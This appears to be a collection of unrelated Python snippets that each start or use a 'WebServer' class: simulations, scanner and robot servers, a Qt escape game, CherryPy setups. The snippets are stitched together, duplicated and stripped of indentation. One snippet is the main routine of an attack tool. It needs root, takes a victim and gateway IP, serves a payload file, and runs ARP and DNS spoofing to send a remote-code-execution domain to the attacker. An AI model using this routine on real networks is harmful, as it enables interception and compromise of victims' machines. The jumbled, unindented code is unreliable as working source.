def simulation(clients_number):
"""
Simulation of queue network
"""
clients = [Client() for x in range(clients_number)]
simulation_table = SimulationTable(clients_number=clients_number)
simulation_table.populate_initial_simulation_data(
arrival_instant=arrival_instant)
table = simulation_table.table
table = WebServer.simulate_server_in(table=table,
clients=clients,
velocity=velocity)
table = ApplicationServer.simulate_server_in(table=table,
clients=clients,
velocity=velocity)
table = DatabaseServer.simulate_server(table=table,
clients=clients,
velocity=velocity)
table = ApplicationServer.simulate_server_out(table=table,
clients=clients,
velocity=velocity)
table = WebServer.simulate_server_out(table=table,
clients=clients,
velocity=velocity)
print(table)
save_simulation_csv(table)
def simulation(clients_number):
"""
Simulation of queue network
"""
clients = [Client() for x in range(clients_number)]
simulation_table = SimulationTable(clients_number=clients_number)
simulation_table.populate_initial_simulation_data(arrival_instant=arrival_instant)
table = simulation_table.table
table = WebServer.simulate_server_in(table=table, clients=clients,
velocity=velocity)
table = ApplicationServer.simulate_server_in(table=table, clients=clients,
velocity=velocity)
table = DatabaseServer.simulate_server(table=table, clients=clients,
velocity=velocity)
table = ApplicationServer.simulate_server_out(table=table, clients=clients,
velocity=velocity)
table = WebServer.simulate_server_out(table=table, clients=clients,
velocity=velocity)
print(table)
save_simulation_csv(table)
def main():
appPath, host, port = parseOptions()
jspath = os.environ.get('JSPATH', '').split(':')
jspaths = [os.path.abspath(os.path.expanduser(path)) for path in jspath]
appjsPath = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', '..'))
if appjsPath not in jspaths:
jspaths.append(appjsPath)
from Loader import Loader
loader = Loader(jspaths)
# XXXjoe Take this list as a command line argument
loader.transientExtensions = ['.jss']
app = None
if appPath:
app = loader.searchApp(appPath)
if not app:
import sys
sys.stderr.write('Unable to find app "%s"\n' % appPath)
return
from WebServer import WebServer
WebServer.serve(host, port, loader, app)
def start(self):
"""Sets up the server to listen on a port and starts all subsystems."""
port = self.getConfig('server_port', int, 8880)
ip = self.getConfig('server_ip', str, '')
reactor.listenTCP(port, self, interface=ip)
self.web = WebServer(self)
self.web.start()
self.workProvider.start()
class FSServer():
def __init__(self,config_file, settings_file):
self._logger = logging.getLogger(__name__)
self._logger.setLevel(logging.DEBUG)
self.hardwareController = None
self.config_file = config_file
self.settings_file = settings_file
def run(self):
self._logger.info("FabScanPi-Server "+str(__version__))
try:
injector.provide_instance(FSEventManager, FSEventManager(), name="FSEventManager")
# create Singleton instances
_config = Config.instance(self.config_file)
_settings = Settings.instance(self.settings_file)
_hardwareController = HardwareController.instance()
_eventManager = FSEventManager.instance()
# Websocket Server
self.fsWebSocketServer = FSWebSocketServer()
self.fsWebSocketServer.start()
_scanner = FSScanner()
_scanner.start()
# Web Server
self.fsWebServer = WebServer()
self.fsWebServer.start()
while True:
time.sleep(0.3)
#self.fsWebServer.serve_forever()
except (KeyboardInterrupt, SystemExit):
time.sleep(0.5)
_hardwareController.laser.off()
_hardwareController.led.off()
_hardwareController.turntable.stop_turning()
sys.exit(0)
def main() -> int:
server = WebServer(port=8085)
server.add_rule('task1', task1)
try:
server.run()
except KeyboardInterrupt:
server.close()
return 0
def __init__(self, m):
QWidget.__init__(self)
self.gameVar = GameVar() # Contient tout les variables du jeu
self.MW = m
self.on_click
try:
self.initSerial()
except serial.SerialException as e:
print("Erreur connexion Arduino")
self.gameVar.error += str(e)
print(e)
self.ws = WebServer(self.gameVar, self)
self.ws.start()
def get_processing_durations(self):
self.wsInDuration, self.wsOutDuration = WebServer.get_processing_time(
self.interaction)
self.asInDuration, self.asOutDuration = ApplicationServer.get_processing_time(
)
self.firewallDelay = Firewall.get_processing_time(self.interaction)
self.bdDuration = DatabaseServer.get_processing_time()
def run(self):
self._logger.info("FabScanPi-Server "+str(__version__))
try:
# create Singleton instances
_config = Config.instance(self.config_file)
_settings = Settings.instance(self.settings_file)
_hardwareController = HardwareController.instance()
_eventManager = FSEventManager.instance()
# Websocket Server
self.fsWebSocketServer = FSWebSocketServer()
self.fsWebSocketServer.start()
_scanner = FSScanner()
_scanner.start()
# Web Server
self.fsWebServer = WebServer()
self.fsWebServer.serve_forever()
except (KeyboardInterrupt, SystemExit):
time.sleep(0.5)
_hardwareController.laser.off()
_hardwareController.led.off()
_hardwareController.turntable.stop_turning()
sys.exit(0)
def main():
global RCE_DOMAIN
if len(sys.argv) < 5:
print("[-] Expecting 4 arguments, got %i." % (len(sys.argv) - 1))
print(
"%s [Interface Name] [Victim IP] [Gateway IP] [Payload Filename]" %
sys.argv[0])
return 0
if os.geteuid() != 0:
print("[-] root permissions required.")
return 0
interface_name = sys.argv[1]
target_ip = sys.argv[2]
gateway_ip = sys.argv[3]
payload_filename = sys.argv[4]
print("[+] Grabbing interface IP address.")
interface_ip = get_ip_address(interface_name)
if interface_ip == "0.0.0.0":
print("[-] Could not find the IPv4 Address of the provided interface.")
return 0
print("[+] Starting webserver.")
WebServer(payload_filename)
print("[+] Starting ARP Spoofing.")
ARPSpoofer(target_ip, gateway_ip)
print("[+] Starting DNS Spoofing.")
DNSSpoofer(RCE_DOMAIN, interface_ip)
return 0
def do_activate(self):
WebPlayer.DBAccess.rbshell = self.object
WebPlayer.PlayerControl.rbshell = self.object
Views.Views.rbplugin = self
Views.Views.add_template_path("web/")
print "starting server..."
self.__server = WebServer("0.0.0.0", 8001, "webplayer.settings")
self.__server.start()
def start_server(environment):
if not os.path.exists('temp'):
os.makedirs('temp')
if not os.path.exists('log'):
os.makedirs('log')
setup_logging()
global_config_filename = f"global-{environment}.ini"
cherrypy.config.update(global_config_filename)
cherrypy.config.update({'error_page.500': error_page_500})
webapp = WebServer()
webapp.get_options = GetOptionsService()
webapp.set_options = SetOptionsService()
webapp.get_default_dataset_headers = GetDefaultDatasetHeadersService()
cherrypy.quickstart(webapp, '/', "app.ini")
def start(self):
"""Sets up the server to listen on a port and starts all subsystems."""
port = self.getConfig("server_port", int, 8880)
ip = self.getConfig("server_ip", str, "")
reactor.listenTCP(port, self, interface=ip)
self.web = WebServer(self)
self.web.start()
self.workProvider.start()
def deskWriteJob(arglist, kwargs):
info = arglist[0]
#print "in the thread is:" + str(info)
webservername = str(info["dev_name"])
if info["dev_name"] not in g_client_list:
g_lock.acquire()
print "new webserver"
print info["dev_name"]
g_client_list[info["dev_name"]] = info["dev_name"]
g_lock_dict[info["dev_name"]] = thread.allocate_lock()
newwebserver = WebServer()
newwebserver.SetDevname(info["dev_name"])
g_websever[info["dev_name"]] = newwebserver
g_lock.release()
temp_lock = g_lock_dict[info["dev_name"]]
temp_lock.acquire()
temp_webserver = g_websever[info["dev_name"]]
temp_webserver.JobDespatcher(info)
temp_lock.release()
def main() -> int:
server = WebServer(
port=8085
) # Change this number to change the web server port being served.
robot = Robot(
port=None
) # Change this number to change the serial port number being used to control the robot.
detector = ImageDetector(
resolution_front=Resolution(1280, 720),
resolution_bottom=Resolution(1280, 720),
in_video_front=
'f.mp4', # Set the in_video_front and in_video_bottom to 0 and 1 for cameras.
in_video_bottom='b.mp4',
# video_path_front=f'output_f_{time.time()}.avi',
# video_path_bottom=f'output_b_{time.time()}.avi',
)
detector_thread = Thread(target=detector_loop(detector, robot))
detector_thread.daemon = False
detector_thread.start()
actions = Actions(robot=robot, detector=detector)
robot.set_handler(actions.on_read)
for name, action in actions.list.items():
server.add_rule(name, action)
server.run()
actions.run()
def on_exit():
robot.close()
server.close()
register_exit_event(on_exit)
return 0
class FSServer():
def __init__(self,config_file, settings_file):
self._logger = logging.getLogger(__name__)
#self._logger.setLevel(logging.INFO)
self.hardwareController = None
self.config_file = config_file
self.settings_file = settings_file
def run(self):
try:
# create Singleton instances
_config = Config.instance(self.config_file)
_settings = Settings.instance(self.settings_file)
_hardwareController = HardwareController.instance()
_eventManager = FSEventManager.instance()
# Websocket Server
self.fsWebSocketServer = FSWebSocketServer()
self.fsWebSocketServer.start()
_scanner = FSScanner()
_scanner.start()
# Web Server
self.fsWebServer = WebServer()
self.fsWebServer.serve_forever()
except (KeyboardInterrupt, SystemExit):
time.sleep(0.5)
_hardwareController.laser.off()
_hardwareController.led.off()
_hardwareController.turntable.stop_turning()
sys.exit(0)
def main():
web_server = WebServer(teams)
web_server.start()
print "Start ZMQ response server."
context = zmq.Context()
socket = context.socket(zmq.REP)
socket.bind("tcp://*:5555")
while True:
print "Waiting for next request..."
message = socket.recv()
max = len(message)
max = 150 if max > 150 else max
print "Request: ", message[:max]
answer = processRequest(message)
socket.send(answer)
print "\tResponse: ", answer
web_server.stop()
def __init__(self):
self.timeToSendSelfInfo = 10
self.ap = WifiAP()
firmware = FirmwareHasher.calculate()
print("Code firmware: " + str(firmware))
self.decoration = NetworkNodeDecoration(self.ap.ID, -1, -1, firmware,
{})
self.meshState = MeshNetworkState(self.decoration)
self.messageBoard = MessageBoard(self.meshState)
self.mesh = LoraMeshAdapter(self.messageBoard, self.meshState)
self.view = WebClientView(self.messageBoard, self.meshState)
self.www = WebServer(self.view)
# simulate different request coming into the system
from WebServer import WebServer, Request, Action
configMap = {"numberToServe": 10, "data_dir": "DATA"}
server = WebServer(configMap)
server.start(
) # load all the data in the database, start the first model training
# now experiment
reqX1 = Request(userId='X1')
req1 = Request(userId=1)
print(reqX1)
print(req1)
recX1 = server.renderRec(reqX1) # output recommendations
print(recX1)
rec1 = server.renderRec(req1) # output recommendations
print(rec1)
# now we start an action
action1 = Action(1, 255, 5) # user 1 rated item 255 as score 5
print(server.getFromInventory(255)) # find out the name of item 255
server.getAction(action1) # feed the action to the server
rec1_afteraction = server.renderRec(
req1) # get recommendation after the system knows about the action
print(rec1_afteraction)
actionX1 = Action('X1', 123,
5) # anonymous user's action won't be saved in database
# local imports from PassScheduler import PassScheduler from WebServer import WebServer scheduler = PassScheduler() webserver = WebServer(scheduler) scheduler.start() webserver.start() input()
### MAIN ###
import signal
import sys
import time
import RPi.GPIO as GPIO
from WebServer import WebServer
GPIO.setwarnings(False)
def shutdownServer(sig, unused):
server.shutdown()
print('Clean-up')
GPIO.cleanup()
time.sleep(1)
sys.exit(1)
signal.signal(signal.SIGINT, shutdownServer)
server = WebServer(10000)
server.start()
print("Press Ctrl+C to shut down server.")
def __init__(self, elkIP): self.WindowsEvents = WindowsEvents(elkIP) self.WebLogs = WebServer(elkIP) self.DatabaseLogs = DatabaseLogs(elkIP)
def main():
ws = WebServer()
signal(SIGINT, ws.endServer)
ws.start()
from Server import Server
from WebServer import WebServer
import threading
import time
import schedule
server = Server("", 2332)
web_server = WebServer()
def server_threading():
"""用于启动服务器进程的函数"""
server.start()
def web_server_threading():
"""用于启动网站服务器进程的函数"""
web_server.run("", 5000)
def update():
"""更新网页信息"""
# 更新流量信息
tumple_dict = server.get_tumple_dict()
web_server.calculate_five_tumple(tumple_dict)
def main():
"""主函数"""
def get_processing_durations(self):
self.wsInDuration, self.wsOutDuration = WebServer.get_processing_time(self.interaction)
self.asInDuration, self.asOutDuration = ApplicationServer.get_processing_time()
self.firewallDelay = Firewall.get_processing_time(self.interaction)
self.bdDuration = DatabaseServer.get_processing_time()
import sys
from WebServer import WebServer
from flask import request
if __name__ == "__main__":
server = WebServer()
# server.host = "0.0.0.0"
server.port = 5001
server.init()
server.run()
async def main():
logging.info('{0}() : Python {1}'.format(sys._getframe().f_code.co_name, sys.version_info))
tasks = []
loop = asyncio.get_event_loop()
executor = ThreadPoolExecutor(max_workers=4, thread_name_prefix='videoThread')
signals = (signal.SIGHUP, signal.SIGTERM, signal.SIGINT)
for s in signals:
loop.add_signal_handler(
s, lambda s=s: loop.create_task(shutdown(loop, executor, signal=s)))
try:
#
# Default to USB Webcam
#
# with VideoProcessor(videoPath = '/home/wcbiot/OpenVINO-Toolkit-Setup/App/ObjectDetection/Python/youtube.mp4') as videoProcessor:
with VideoProcessor(videoPath = '/dev/video0') as videoProcessor:
# async with VideoProcessor(devicePath = '/dev/video0') as videoProcessor:
#
# Initialize Tornado Web Server
#
webServer = WebServer(videoProcessor = videoProcessor, port = 8080)
if (sys.version_info >= (3, 7)):
loop = asyncio.get_running_loop()
loop.set_debug(False)
else:
loop = asyncio.get_event_loop()
loop.set_debug(False)
#
# Start Capturing from Video
#
videoStreamTask = loop.create_task(videoProcessor.videoData.capture_video_frame_async(executor))
tasks.append(videoStreamTask)
#
# Start Processing video frames
#
videoProcessTask = loop.create_task(videoProcessor.process_video_frame_async(executor))
tasks.append(videoProcessTask)
#
# Start Tornado Web Server
#
webServer.start_web_server()
#
# keyboard input
#
inputTask = loop.run_in_executor(executor, stdin_listener)
# tasks.append(inputTask)
await inputTask
for task in tasks:
# print("Task {}", task)
task.cancel()
done, futures = await asyncio.wait(tasks, return_when=asyncio.ALL_COMPLETED)
# webServer.stop_web_server()
except CancelledError:
logging.info('-- {0}() - Cancelled'.format(sys._getframe().f_code.co_name))
except Exception as ex:
exc_type, exc_obj, exc_tb = sys.exc_info()
traceback.print_exception(exc_type, exc_obj, exc_tb)
logging.error('!! {0}() : Exception {1}'.format(sys._getframe().f_code.co_name, ex))
finally:
logging.info('-- {0}() - Finally'.format(sys._getframe().f_code.co_name))
for task in asyncio.Task.all_tasks():
logging.info("Task {}".format(task))
# done, futures = await asyncio.wait(tasks, return_when=asyncio.FIRST_EXCEPTION)
# print("done {}", done)
# print("futures {}", futures)
# await asyncio.gather(*tasks, return_exceptions=True)
await loop.shutdown_asyncgens()
class ClusterServer(Factory):
"""ClusterServer is the root class for the server.
It maintains the database and listens for incoming connections.
"""
protocol = WorkerConnection
versionNumber = (1, 45)
def __init__(self, db):
self.db = db
self.workProvider = WorkProvider(self)
self.workers = []
self.web = None
self.configCallbacks = {}
def getConfig(self, var, type=str, default=None, callback=None):
"""Reads a configuration variable out of the database.
Will attempt to convert it into the specified type. If the variable
is not found, or type conversion fails, returns the default.
"""
# Take care of the callback first, before encountering any returns...
if callable(callback):
callbacks = self.configCallbacks.setdefault(var, [])
if callback not in callbacks:
callbacks.append(callback)
# This should only loop once.
for (value,) in self.db.execute("SELECT value FROM config WHERE var=? " "LIMIT 1;", (var,)):
try:
value = type(value)
except (TypeError, ValueError):
return default
else:
return value # Type-converted
# Variable is not present in the database.
return default
def getAllConfig(self):
"""Retrieves all configuration values from the database."""
config = {}
for var, value in self.db.execute("SELECT var, value FROM config;"):
config[var] = value
return config
def setConfig(self, var, value):
"""Writes a configuration variable to the database.
The value is type-converted to a string for storage.
"""
# There might be an old definition, so take it out if so.
self.db.execute("DELETE FROM config WHERE var=?;", (var,))
if value is not None: # Setting to None means the variable gets cleared.
self.db.execute("INSERT INTO config (var,value) VALUES (?,?);", (var, str(value)))
# Now inform any waiting callbacks...
for callback in self.configCallbacks.get(var, []):
callback()
def listAccountConnections(self, username):
"""List every connected, logged-in worker using the specified username.
The username is case-sensitive.
"""
return filter(lambda x: x.account and x.account.username == username, self.workers)
def getConnection(self, sessionno):
"""Gets a connection by its session ID."""
for w in self.workers:
if w.transport.sessionno == sessionno:
return w
def start(self):
"""Sets up the server to listen on a port and starts all subsystems."""
port = self.getConfig("server_port", int, 8880)
ip = self.getConfig("server_ip", str, "")
reactor.listenTCP(port, self, interface=ip)
self.web = WebServer(self)
self.web.start()
self.workProvider.start()
class ClusterServer(Factory):
"""ClusterServer is the root class for the server.
It maintains the database and listens for incoming connections.
"""
protocol = WorkerConnection
versionNumber = (1, 45)
def __init__(self, db):
self.db = db
self.workProvider = WorkProvider(self)
self.workers = []
self.web = None
self.configCallbacks = {}
def getConfig(self, var, type=str, default=None, callback=None):
"""Reads a configuration variable out of the database.
Will attempt to convert it into the specified type. If the variable
is not found, or type conversion fails, returns the default.
"""
# Take care of the callback first, before encountering any returns...
if callable(callback):
callbacks = self.configCallbacks.setdefault(var, [])
if callback not in callbacks:
callbacks.append(callback)
# This should only loop once.
for value, in self.db.execute(
'SELECT value FROM config WHERE var=? '
'LIMIT 1;', (var, )):
try:
value = type(value)
except (TypeError, ValueError):
return default
else:
return value # Type-converted
# Variable is not present in the database.
return default
def getAllConfig(self):
"""Retrieves all configuration values from the database."""
config = {}
for var, value in self.db.execute('SELECT var, value FROM config;'):
config[var] = value
return config
def setConfig(self, var, value):
"""Writes a configuration variable to the database.
The value is type-converted to a string for storage.
"""
# There might be an old definition, so take it out if so.
self.db.execute('DELETE FROM config WHERE var=?;', (var, ))
if value is not None: # Setting to None means the variable gets cleared.
self.db.execute('INSERT INTO config (var,value) VALUES (?,?);',
(var, str(value)))
# Now inform any waiting callbacks...
for callback in self.configCallbacks.get(var, []):
callback()
def listAccountConnections(self, username):
"""List every connected, logged-in worker using the specified username.
The username is case-sensitive.
"""
return filter(lambda x: x.account and x.account.username == username,
self.workers)
def getConnection(self, sessionno):
"""Gets a connection by its session ID."""
for w in self.workers:
if w.transport.sessionno == sessionno:
return w
def start(self):
"""Sets up the server to listen on a port and starts all subsystems."""
port = self.getConfig('server_port', int, 8880)
ip = self.getConfig('server_ip', str, '')
reactor.listenTCP(port, self, interface=ip)
self.web = WebServer(self)
self.web.start()
self.workProvider.start()
class Game(QWidget):
def __init__(self, m):
QWidget.__init__(self)
self.gameVar = GameVar() # Contient tout les variables du jeu
self.MW = m
self.on_click
try:
self.initSerial()
except serial.SerialException as e:
print("Erreur connexion Arduino")
self.gameVar.error += str(e)
print(e)
self.ws = WebServer(self.gameVar, self)
self.ws.start()
def checkSensor(self):
gv = self.gameVar
try:
self.ser.write(gv.sendArduino().encode())
line = self.ser.readline()
gv.interprete(line.decode('utf-8').rstrip())
except Exception as e:
self.gameVar.error = str(e)
if not gv.defaite and not gv.pause and not gv.stressMode:
Simon.checkSimon(self)
Fils.checkFils(self)
Symbole.checkSymbole(self)
checkBouton(self)
if gv.stressMode and gv.stressModeStarted:
StressMode.checkStressMode(self)
def erreurGlobal(self, module):
self.gameVar.moduleErr[module] += 1
self.gameVar.nbErreur = sum(self.gameVar.moduleErr)
self.gameVar.sounds["error"].play()
if self.gameVar.nbErreur > self.gameVar.nbErreurMax:
self.defaite()
else:
for i in range(4):
if i < self.gameVar.nbErreur:
self.gameVar.chronoLedErr[i] = 1
else:
self.gameVar.chronoLedErr[i] = 0
if self.gameVar.moduleErr[module] == 1 and module != 5:
Chrono.removeXmMin(self, 3)
elif self.gameVar.moduleErr[module] > 1 and module != 5:
Chrono.removeXmMin(self, 1)
def bip(self):
if self.gameVar.pause:
return
if self.gameVar.stressMode:
self.gameVar.sounds["bip2"].play()
elif self.gameVar.chronoBoutonSon:
self.gameVar.sounds["bip"].play()
Chrono.chrono(self)
def initSerial(self):
self.ser = ""
try:
self.ser = serial.Serial('/dev/ttyUSB0', 19200, timeout=1)
except:
try:
self.ser = serial.Serial('/dev/ttyUSB1', 19200, timeout=1)
except Exception as e:
raise e
print(self.ser.write("initialisation\n".encode()))
line = self.ser.readline()
self.gameVar.serialOK = 1
def start(self):
Fils.initFils(self.gameVar)
Symbole.initSymbole(self.gameVar)
Simon.initSimon(self.gameVar)
ScreenGame.paintButton(self)
self.timerBip = QtCore.QTimer()
self.timerBip.timeout.connect(self.bip)
self.timerBip.start(1000)
self.timer = QtCore.QTimer()
self.timer.timeout.connect(self.checkSensor)
self.timer.start(50)
self.timerLumiere = QtCore.QTimer()
self.timerLumiere.timeout.connect(
lambda: Simon.lumiereSimon(self.gameVar))
self.timerLumiere.start(500)
@pyqtSlot()
def on_click(self):
print("lala")
btn = self.sender()
guess(self, btn)
def victoire(self):
self.gameVar.pause = 1
self.gameVar.sounds["victoire"].play()
self.timerBip.stop()
self.gameVar.moduleWin = [1, 1, 1, 1, 1]
self.gameVar.lumSimon = [0, 0, 0, 0]
self.gameVar.symboleLum = [0, 0, 0, 0]
self.gameVar.boutonBande = [0, 1, 0]
self.gameVar.chronoLum = 1
self.gameVar.chronoBlink = 0
if self.gameVar.escapeGame:
self.timerStress.stop()
self.gameVar.stressModeStarted = 0
self.MW.stackSetup.setCurrentIndex(4)
self.MW.win.reloadChrono()
def defaite(self):
if self.gameVar.defaite: # defaite() déjà appelé
return
print("defaite")
if self.gameVar.stressModeStarted == 1:
try:
self.gameVar.sounds["stress"].stop()
except:
pass
self.gameVar.chronoBlink = 1
self.gameVar.chronoLum = 2
self.gameVar.defaite = True
self.timerLumiere.stop()
self.timerBip.stop()
self.gameVar.sounds["defaite"].play()
QTimer().singleShot(14000, self.retourMenu)
QTimer().singleShot(3200, self.callbackDefaite)
self.gameVar.moduleWin = [0, 0, 0, 0, 0]
self.blink = 30
def callbackDefaite(self):
self.gameVar.chronoLum = 0
self.gameVar.chronoBlink = 0
self.gameVar.chronoLedErr = [1, 1, 1, 1]
self.gameVar.simonErreur = 1
self.gameVar.calcErreur = 1
self.gameVar.symboleErreur = 1
self.gameVar.boutonErreur = 1
self.gameVar.filErreur = 1
self.gameVar.lumSimon = [1, 1, 1, 1]
self.gameVar.symboleLum = [1, 1, 1, 1]
self.gameVar.boutonBande = [1, 1, 1]
QTimer().singleShot(50, self.callbackDefaiteBlink)
def callbackDefaiteBlink(self):
self.gameVar.chronoLedErr = [0, 0, 0, 0]
self.gameVar.simonErreur = 0
self.gameVar.calcErreur = 0
self.gameVar.symboleErreur = 0
self.gameVar.boutonErreur = 0
self.gameVar.filErreur = 0
self.gameVar.moduleErr = [1, 1, 1, 1, 1]
self.gameVar.lumSimon = [0, 0, 0, 0]
self.gameVar.symboleLum = [0, 0, 0, 0]
self.gameVar.boutonBande = [0, 0, 0]
self.blink -= 1
if self.blink > 0:
QTimer().singleShot(50, self.callbackDefaite)
def retourMenu(self):
self.gameVar.reset()
self.MW.stackSetup.setCurrentIndex(0)
self.MW.setup.mPrincipal()
def slot_repaint(self):
eraseAll(self)
paintButton(self)
def slot_win_screenGame(self):
win(self)
def exit(self):
self.ws.exit()
from WebServer import WebServer myServer = WebServer() myServer.awaitConnection()
def main():
my_server = WebServer("127.0.0.1", 8008)
my_server.serve_web()
import socket
from WebServer import WebServer
import sys
import signal
def shutdownServer(sig, unused):
# Fecha o server caso receba sinal
server.shutdown()
sys.exit(1)
if __name__ == "__main__":
signal.signal(signal.SIGINT, shutdownServer)
server = WebServer()
server.run()
from uasyncio import get_event_loop
from mDnsServer import mDnsServer
from WifiManager import WifiManager
from WebServer import WebServer
from ClockManager import ClockManager
from settings import readNetId
PUBLIC_NAME = "clock"
netId = readNetId()
publicName = "{}-{}".format(PUBLIC_NAME, netId)
wifiManager = WifiManager(publicName)
mdnsServer = mDnsServer(wifiManager, publicName)
webServer = WebServer(wifiManager)
clockManager = ClockManager(wifiManager, webServer)
loop = get_event_loop()
loop.run_forever()
loop.close()
def Cherry():
Log.info('######################Start Cherrypy!########################')
cherrypy.config.update({'environment' : 'production',
'engine.autoreload_on' : False,
'checker.on' : False,
'server.socket_host' : '0.0.0.0',
'server.socket_port' : UtilFunc.getWebServerPort(),
'server.thread_pool' : 6,
'server.thread_pool_max' : 10,
'server.max_request_body_size' : sys.maxint,
'log.screen' : True,
})
services = {'/storages':Storages(), '/system':System(), '/version':Version(),
'/files':Files(), '/share':Share(), '/search':Search(), '/logs':ESLog(),
'/batch':Batch(), '/photos':Photos(), '/music':Music(),
'/video':Video(), '/backup':Backup()}
if not UtilFunc.isPCMode():
from Apps.AppCtrl import AppCtrl
services['/app'] = AppCtrl()
for server in services.keys():
mountService(services[server], "/api" + server)
Log.info('Mount APIServices Complete!')
cherrypy.tree.mount(portal(), '/',
config={'/': {'tools.auth.on' : False,
'tools.staticdir.on' : True,
'tools.staticdir.dir' : UtilFunc.module_path(),
},
})
Log.info('Mount Portal Service Complete!')
cherrypy.tree.mount(GuestShare(), '/share', config={'/': _getMountConfig(False)})
Log.info('Mount GuestShare Service Complete!')
try:
server2 = _cpwsgi_server.CPWSGIServer()
server2.bind_addr = ('0.0.0.0', 1984)
adapter2 = _cpserver.ServerAdapter(cherrypy.engine, server2, server2.bind_addr)
adapter2.subscribe()
cherrypy.tree.graft(WebServer().my_crazy_app, "/web")
syncdir = os.path.join(os.getcwd(),"sync")
if not os.path.exists(syncdir):
os.mkdir(syncdir)
config = {"mount_path" :"/syncservice",
"provider_mapping":{"webdav":syncdir},
"user_mapping" :{},
"verbose" :2,
"dir_browser" :{
"enable" : True,
"response_trailer": "",
"davmount" : False,
"msmount" : False
}
}
cherrypy.tree.graft(WsgiDAVApp(config),"/syncservice")
Log.info('Start WsgiDAV Complete!')
except Exception, e:
Log.info('WsgiDAV Start Failed! Reason[%s]'%e)
